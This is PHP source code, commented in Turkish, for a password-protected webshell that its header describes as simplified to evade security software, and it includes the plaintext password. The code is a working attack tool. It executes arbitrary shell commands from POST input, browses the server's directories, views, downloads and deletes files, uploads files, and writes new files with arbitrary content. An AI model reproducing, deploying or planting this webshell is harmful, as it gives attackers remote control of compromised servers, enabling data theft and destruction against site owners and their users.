// ================================================// BASIT WEBSHELL - GÜVENLİK YAZILIMINI ATLATMAK İÇİN SADELEŞTİRİLMİŞ VERSİYON// ================================================// Giriş şifresi (SHA256 hash'i "vinsmoke" için)$giris_sifre_hash = '692314486fdb5a1a760cb96778461c7ea52c52d2cd69692896123ae112ff15d5';session_start();// Giriş kontrolüif (!isset($_SESSION['giris_yapildi'])) { if (isset($_POST['sifre']) && hash('sha256', $_POST['sifre']) === $giris_sifre_hash) { $_SESSION['giris_yapildi'] = true; } else { // Basit giriş formu echo '
'; exit; }}// Mevcut dizin$dizin = isset($_GET['dir']) ? $_GET['dir'] : getcwd();chdir($dizin);// İşlemler$islem = isset($_GET['islem']) ? $_GET['islem'] : 'liste';// -------------------------------------------------// KOMUT ÇALIŞTIRMA// -------------------------------------------------if ($islem == 'komut' && isset($_POST['cmd'])) { echo '<pre>' . shell_exec($_POST['cmd'] . ' 2>&1') . '</pre>'; echo '<a href="?islem=komut">Geri</a>'; exit;}// -------------------------------------------------// DOSYA LİSTELEME// -------------------------------------------------if ($islem == 'liste') { echo "Dizin: $dizin
"; echo '<a href="?islem=liste&dir=' . urlencode(dirname($dizin)) . '">⬆️ Üst Dizin</a> | '; echo '<a href="?islem=komut">⌨️ Komut Çalıştır</a> | '; echo '<a href="?islem=yukle">📤 Dosya Yükle</a> | '; echo '<a href="?islem=yeni_dosya">📄 Yeni Dosya</a>
'; $dosyalar = scandir($dizin); echo '<table border="1"><th>İsim</th><th>Boyut</th><th>İşlem</th>
'; foreach ($dosyalar as $dosya) { if ($dosya == '.' || $dosya == '..') continue; $tam_yol = $dizin . '/' . $dosya; $boyut = is_dir($tam_yol) ? '<DİZİN>' : filesize($tam_yol) . ' B'; $ikon = is_dir($tam_yol) ? '📁' : '📄'; echo ''; echo '| ' . $ikon . ' <a href="?islem=liste&dir=' . urlencode($tam_yol) . '">' . htmlspecialchars($dosya) . '</a> | '; echo '' . $boyut . ' | '; echo ''; if (!is_dir($tam_yol)) { echo '<a href="?islem=goruntule&dir=' . urlencode($dizin) . '&dosya=' . urlencode($dosya) . '">👁️ Görüntüle</a> | '; echo '<a href="?islem=indir&dir=' . urlencode($dizin) . '&dosya=' . urlencode($dosya) . '">⬇️ İndir</a> | '; } echo '<a href="?islem=sil&dir=' . urlencode($dizin) . '&dosya=' . urlencode($dosya) . '" onclick="return confirm(\'Emin misin?\')">🗑️ Sil</a>'; echo ' | '; echo '
'; } echo ''; exit;}// -------------------------------------------------// DOSYA GÖRÜNTÜLEME// -------------------------------------------------if ($islem == 'goruntule' && isset($_GET['dosya'])) { $icerik = file_get_contents($dizin . '/' . $_GET['dosya']); echo '' . htmlspecialchars($_GET['dosya']) . '
'; echo '<pre>' . htmlspecialchars($icerik) . '</pre>'; echo '<a href="?islem=liste&dir=' . urlencode($dizin) . '">Geri</a>'; exit;}// -------------------------------------------------// DOSYA İNDİRME// -------------------------------------------------if ($islem == 'indir' && isset($_GET['dosya'])) { $dosya_yolu = $dizin . '/' . $_GET['dosya']; header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($dosya_yolu) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($dosya_yolu)); readfile($dosya_yolu); exit;}// -------------------------------------------------// DOSYA SİLME// -------------------------------------------------if ($islem == 'sil' && isset($_GET['dosya'])) { $dosya_yolu = $dizin . '/' . $_GET['dosya']; if (is_file($dosya_yolu)) unlink($dosya_yolu); elseif (is_dir($dosya_yolu)) rmdir($dosya_yolu); header('Location: ?islem=liste&dir=' . urlencode($dizin)); exit;}// -------------------------------------------------// DOSYA YÜKLEME FORMU// -------------------------------------------------if ($islem == 'yukle') { if (isset($_FILES['dosya'])) { $hedef = $dizin . '/' . basename($_FILES['dosya']['name']); if (move_uploaded_file($_FILES['dosya']['tmp_name'], $hedef)) { echo '<div style="color:green;">Dosya yüklendi.</div>'; } else { echo '<div style="color:red;">Yükleme hatası!</div>'; } } echo ''; echo '<a href="?islem=liste&dir=' . urlencode($dizin) . '">Geri</a>'; exit;}// -------------------------------------------------// YENİ DOSYA OLUŞTURMA FORMU// -------------------------------------------------if ($islem == 'yeni_dosya') { if (isset($_POST['dosya_adi']) && isset($_POST['icerik'])) { $hedef = $dizin . '/' . $_POST['dosya_adi']; file_put_contents($hedef, $_POST['icerik']); header('Location: ?islem=liste&dir=' . urlencode($dizin)); exit; } echo ''; echo '<a href="?islem=liste&dir=' . urlencode($dizin) . '">Geri</a>'; exit;}